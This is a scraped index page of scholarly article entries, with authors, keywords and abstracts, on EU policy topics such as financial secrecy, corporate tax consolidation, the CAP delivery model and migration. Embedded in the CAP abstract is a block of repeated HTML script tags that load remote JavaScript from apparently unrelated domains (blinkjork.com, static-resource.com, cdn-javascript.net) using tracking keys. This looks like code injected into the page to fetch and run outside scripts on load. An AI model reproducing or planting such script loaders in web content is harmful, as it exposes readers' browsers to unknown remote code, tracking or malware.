Internet-based information exchange network between EU member states, the European Commission, and small and medium-sized enterprises (SME) in relation to the EU Solvent Directive

2003 ◽  
Vol 86 (3) ◽  
pp. 231-235
Author(s):  
N Avci ◽  
J Geldermann ◽  
O Rentz ◽  
F Hubert
Keyword(s):  
European Commission ◽  
Information Exchange ◽  
Member States ◽  
Eu Member States ◽  
Exchange Network ◽  
The Eu

Country-by-Country Reporting and Other Financial Transparency Measures Affecting the European Union

2021 ◽  
pp. 132-157
Author(s):  
Petr Janský ◽  
Andres Knobel ◽  
Markus Meinzer ◽  
Tereza Palanská ◽  
Miroslav Palanský
Keyword(s):  
Information Exchange ◽  
A Priori ◽  
Virgin Islands ◽  
Cayman Islands ◽  
The European Union ◽  
Member States ◽  
Eu Member States ◽  
Automatic Information ◽  
Financial Secrecy ◽  
The Eu

The EU faces large amounts of financial secrecy supplied to it by secrecy jurisdictions. In this chapter, we use the Bilateral Financial Secrecy Index to quantify which jurisdictions supply most secrecy to EU Member States. The chapter assesses the progress of two recent EU policy efforts to tackle financial secrecy: automatic exchange of country-by-country reporting (CbCR) data and black and grey list of non-cooperative jurisdictions. It is found that 34 per cent of the financial secrecy faced by the EU is supplied by other Member States, whose a priori exclusion from the blacklisting exercise reveals its fundamental flaw. Further 13 per cent is supplied by the EU’s dependencies, mainly the UK’s Cayman Islands, Bermuda, and Guernsey. The jurisdictions that supply the most secrecy not covered by automatic information exchange of CbCR data are the British Virgin Islands, United States, and Curacao. Finally the chapter discusses policy recommendations that stem from our analysis.

scholarly journals Consolidation under CCCTB system

2008 ◽  
Vol 56 (6) ◽  
pp. 181-188
Author(s):  
Danuše Nerudová
Keyword(s):  
European Commission ◽  
Pilot Project ◽  
Corporate Tax ◽  
Tax Base ◽  
Member States ◽  
Corporate Income Taxation ◽  
Eu Member States ◽  
State Taxation ◽  
Taxation System ◽  
The Eu

In 2007, when the pilot project of Home State Taxation System should started, but none of the EU Member States applied for, the European Commission has turned its attention to different project in the area of corporate income taxation. The paper presents the problems of consolidation under the system of Common Consolidated Corporate Tax Base, which is at present the aim of the European Commission in the area of corporate tax harmonization. Firstly, the paper presents the results of comparative analysis, which have been done throughout the EU Member States. The research was aimed at the area of group taxation schemes availability. Secondly, the paper presents the draft of CCCTB directive in the field of creation of the group for taxation purposes, the rules for access and exit from the group and the rules for calculation of thresholds for voting rights. The different possibilities of group creation are presented on the schemes. The paper also discuss the rules, suggested by the draft directive, which could create legal uncertainty for the companies and could cause the situation in which the companies would not know whether they can consolidate their accounting results or not, or whether they are the member of the group or not. The paper suggests the possible solutions in that area. At the end, there are also mentioned and discussed the methods, which could be used for consolidation under CCCTB system in the EU.

scholarly journals National approaches of EU Member States in concluding bilateral social security agreements with third countries

2018 ◽  
Vol 20 (2) ◽  
pp. 148-161
Author(s):  
Bernard Spiegel
Keyword(s):  
Social Security ◽  
European Commission ◽  
Member States ◽  
Bilateral Agreements ◽  
Common Features ◽  
Eu Member States ◽  
Exchange Of Information ◽  
The Future ◽  
The Eu ◽  
Security Agreements

For EU Member States like Austria, the EU Regulations on the coordination of social security schemes are the focus of academic and political attention. They deal with many cases and are usually very complex. They are supervised by the European Commission and the CJEU. Compared to these EU rules, bilateral agreements with third countries are treated as step-children. They do not get the academic and political attention they deserve, taking into account their importance in practice. They have common features compared to the EU rules, but there are also remarkable differences in the texts and their interpretation. The differences sometimes lead to practical problems of application and interpretation in the EU Member States. Based on Austrian experiences, all these aspects are elaborated in this article. Enhanced cooperation and exchange of information between the EU Member States in the future could help to improve the negotiating position of these countries and also guarantee greater esteem for the bilateral agreements.

The Enforcement of Intra-EU BIT Awards: Micula v Romania and Beyond

2016 ◽  
Vol 17 (6) ◽  
pp. 942-963 ◽  
Author(s):  
Hanno Wehland
Keyword(s):  
European Commission ◽  
Eu Law ◽  
Present Contribution ◽  
Member States ◽  
Eu Member States ◽  
The Eu

The European Commission and a number of EU Member States have long disputed the compatibility of intra-EU BITs with EU law. As illustrated by the Micula v Romania proceedings, where an investor seeks to enforce an intra-EU BIT award, which is seen as being in conflict with EU law, this can raise questions as to the extent to which an enforcing court should take this kind of conflict into account. The present contribution systematically analyses this issue with regard to both ICSID and non-ICSID awards, differentiating between enforcement proceedings within and outside of the EU. It concludes that within the EU even the enforcement of ICSID awards cannot be entirely taken for granted where such enforcement would lead to the violation of a fundamental provision of EU law.

scholarly journals The new delivery model of the CAP: Some relevant issues

2020 ◽  
Vol 20 (1) ◽  
pp. 149
Author(s):  
Tomás García Azcárate ◽  
Carina Folkeson
Keyword(s):  
Rural Development ◽  
European Commission ◽  
Member States ◽  
Delivery Model ◽  
Eu Member States ◽  
Strategic Plans ◽  
Real Change ◽  
Sensitive Issues ◽  
Historical Management ◽  
The Eu

<div><div><p>A key element of the European Commission´s proposal for the post-2020 CAP is the re-quirement for the EU Member States to present their proposed interventions in the form of a Strategic Plan. We addresses six sensitive issues: Similarities between the new architecture and the Rural Development historical management; performance reserve and duration of the financial perspectives; declared ambitions for the Strategic Plans; lengths of those Plans and an administrative challenge, in Spain and perhaps in other Member states. Our conclusion is that a real change is achievable but we should give time to time and that a step-by-step implementation is advisable.</p></div></div><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8527x&amp;format=arrjs&amp;r=1578922923595"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&amp;title=s&amp;blocks[]=31af2"></script><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8527x&amp;format=arrjs&amp;r=1583929298033"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&amp;title=s&amp;blocks[]=31af2"></script>

scholarly journals The Pact on Migration and Asylum as a the foundation of the new migration policy of the European Union

2021 ◽  
pp. 70-82
Author(s):  
Andrew Vyacheslavovich Rybakov
Keyword(s):  
European Commission ◽  
Migration Policy ◽  
Modern World ◽  
Common Denominator ◽  
The European Union ◽  
Member States ◽  
Eu Member States ◽  
Effective System ◽  
Significant Step ◽  
The Eu

The relevance of the selected topic is substantiated by the fact that in modern world migration has become a significant factor in the development of both accepting countries and countries of origin. Europe hosts the largest number of migrants. Since 2015, the EU member-states have been experiencing strong migration pressure. The existing migration stands in need for reform. The New Pact on Migration and Asylum should be a significant step towards creating a reliable and effective system for regulation of migration. The subject of this research is the institutional and legal characteristics of the EU New Pact on Migration and Asylum. The article analyzes the proposals of the European Commission regarding the migration policy reform, as well as the political-legal mechanism for their implementation; contradictions between the member-states in the course of the relevant discussions. The following conclusions are made: 1) It must be admitted that the new approach of the European Commission is comprehensive and aimed at integration of the internal and external aspects of migration policy. 2) The structure of the Pact corresponds to the goals of migration policy and consists on three levels &ndash; external, namely relations with the countries of origin and transit of migrants; control over the external borders of the EU; a new system of permanent solidarity. 3) As an annex to the New Pact on Migration and Asylum, the European Commission has presented a roadmap for implementation of various proposals. However, by the end of 2021, the schedule for the adoption of legal documents is not being maintained. 4) The only common denominator between the different groups of countries is the orientation towards external actions aimed at curbing migration movements prior to their arrival to Europe. 5) The plan of the European Commission on adoption of rules obligatory for all member-states currently seems untenable, considering the clashing interests.

scholarly journals Some Problems of the European Information Exchange Model in the Field of the Law Enforcement Cooperation

2018 ◽  
Vol 24 (2) ◽  
pp. 225-230
Author(s):  
Simo Mihov
Keyword(s):  
Law Enforcement ◽  
Information Exchange ◽  
Exchange Model ◽  
Member States ◽  
Authorized User ◽  
Secure Information ◽  
Network Application ◽  
The Law ◽  
Exchange Network ◽  
The Eu

Abstract There are some mechanisms which ensure information exchange among the member states of the EU in the field of the law enforcement cooperation such as European Information Exchange Model (EIXM) and channels used the information with operational importance to be transferred from one authorized user to another such as the Secure Information Exchange Network Application (SIENA) and the system I-24/7. The article is devoted to defining of some problems of organizational and managerial character for improving the compatibility between these mechanisms and suggesting of some simple solutions the obstacles to be overcome

scholarly journals Positioning of the concept of corporate restructuring in the EU member-states and its approval by the auditor

2021 ◽  
pp. 131-151
Author(s):  
Olga Nikolaevna Sinkina
Keyword(s):  
European Commission ◽  
Legal Regulation ◽  
Corporate Management ◽  
The European Union ◽  
Member States ◽  
Eu Member States ◽  
Current State ◽  
The Subject ◽  
Definition Of ◽  
The Eu

The object of this research is the concept of restructuring, which in the conditions of crisis in the European Union is positioned as an instrument for its overcoming and the procedure for its verification by the auditor. The subject of this research is a range of question associated on the peculiarities of positioning of the concept of restructuring in the EU. The article analyzes the criteria for insolvency and tests for the presence of the signs of insolvency according to the national legislation of the EU jurisdiction based on the typical crisis process. The author introduces the definition of the concept of restructuring, its framework and elements. The recommendations of the European Commission on overcoming crisis situations and insolvency of companies are provided; the principles of preventive concept of restructuring are analyzed; the auditor&rsquo;s procedures pertaining to the concept of restructuring are formulated. The research methodology relies on the fundamental provisions presented in the works of foreign scholars. The main conclusions are as follows: the responsibility of the corporate management in a number of EU member-states includes verification of compliance with the established criteria of insolvency on the regular basis; for this, it is necessary to submit the report to regulatory authorities on the current state of the company and decision on overcoming the crisis, usually in the form of the concept of restructuring approved by the auditor. The scientific novelty of this research consists in: 1) generalization of legal regulation of the criteria of insolvency in the EU member-states, tests for the presence of the signs of insolvency, responsibility of corporate management, outline of the restructuring plan; 2) positioning of the concept of restructuring, formulation of definition of the concept of restructuring, its framework and elements; 3) analysis of the principles of the preventive concept of restructuring of the European Commission; 4) development of audit procedures concerning the concept of restructuring.

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